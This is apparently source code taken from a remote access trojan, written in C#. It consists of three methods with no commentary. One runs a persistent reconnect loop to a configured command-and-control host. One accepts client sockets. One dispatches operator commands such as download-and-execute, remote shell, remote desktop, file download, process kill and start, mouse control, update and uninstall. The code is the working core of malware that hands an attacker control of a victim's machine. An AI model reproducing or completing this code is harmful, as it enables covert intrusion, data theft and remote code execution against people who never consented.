static void Connect() { TryAgain: Thread.Sleep(250 + new Random().Next(0, 250)); if (!Connected) { _Client.Connect(Settings.HOST, Settings.PORT); } Thread.Sleep(200); Application.DoEvents(); HoldOpen: while (Connected) // hold client open { Application.DoEvents(); Thread.Sleep(2500); } Thread.Sleep(Settings.RECONNECTDELAY + new Random().Next(250, 750)); if (SystemCore.Disconnect) { _Client.Disconnect(); return; } if (Reconnect && !SystemCore.Disconnect && !Connected) { goto TryAgain; } else { goto HoldOpen; } }
private void Process(object s, SocketAsyncEventArgs e) { try { if (e.SocketError == SocketError.Success) { Client T = new Client(this, e.AcceptSocket, BufferSize, PacketTypes.ToArray()); lock (_clients) { if (_clients.Count <= MaxConnections) { _clients.Add(T); T.ClientState += HandleState; T.ClientRead += OnClientRead; T.ClientWrite += OnClientWrite; OnClientState(T, true); } else { T.Disconnect(); } } e.AcceptSocket = null; if (!_handle.AcceptAsync(e)) Process(null, e); } else { Disconnect(); } } catch { Disconnect(); } }
static void ClientRead(Core.Client client, IPacket packet) { Type type = packet.GetType(); if (type == typeof(Core.Packets.ServerPackets.InitializeCommand)) { CommandHandler.HandleInitializeCommand((Core.Packets.ServerPackets.InitializeCommand)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.DownloadAndExecute)) { CommandHandler.HandleDownloadAndExecuteCommand((Core.Packets.ServerPackets.DownloadAndExecute)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Disconnect)) { SystemCore.Disconnect = true; client.Disconnect(); } else if (type == typeof(Core.Packets.ServerPackets.Reconnect)) { client.Disconnect(); } else if (type == typeof(Core.Packets.ServerPackets.Uninstall)) { CommandHandler.HandleUninstall((Core.Packets.ServerPackets.Uninstall)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Desktop)) { CommandHandler.HandleRemoteDesktop((Core.Packets.ServerPackets.Desktop)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.GetProcesses)) { CommandHandler.HandleGetProcesses((Core.Packets.ServerPackets.GetProcesses)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.KillProcess)) { CommandHandler.HandleKillProcess((Core.Packets.ServerPackets.KillProcess)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.StartProcess)) { CommandHandler.HandleStartProcess((Core.Packets.ServerPackets.StartProcess)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Drives)) { CommandHandler.HandleDrives((Core.Packets.ServerPackets.Drives)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Directory)) { CommandHandler.HandleDirectory((Core.Packets.ServerPackets.Directory)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.DownloadFile)) { CommandHandler.HandleDownloadFile((Core.Packets.ServerPackets.DownloadFile)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.MouseClick)) { CommandHandler.HandleMouseClick((Core.Packets.ServerPackets.MouseClick)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.GetSystemInfo)) { CommandHandler.HandleGetSystemInfo((Core.Packets.ServerPackets.GetSystemInfo)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.VisitWebsite)) { CommandHandler.HandleVisitWebsite((Core.Packets.ServerPackets.VisitWebsite)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.ShowMessageBox)) { CommandHandler.HandleShowMessageBox((Core.Packets.ServerPackets.ShowMessageBox)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Update)) { CommandHandler.HandleUpdate((Core.Packets.ServerPackets.Update)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.Monitors)) { CommandHandler.HandleMonitors((Core.Packets.ServerPackets.Monitors)packet, client); } else if (type == typeof(Core.Packets.ServerPackets.ShellCommand)) { CommandHandler.HandleShellCommand((Core.Packets.ServerPackets.ShellCommand)packet, client); } }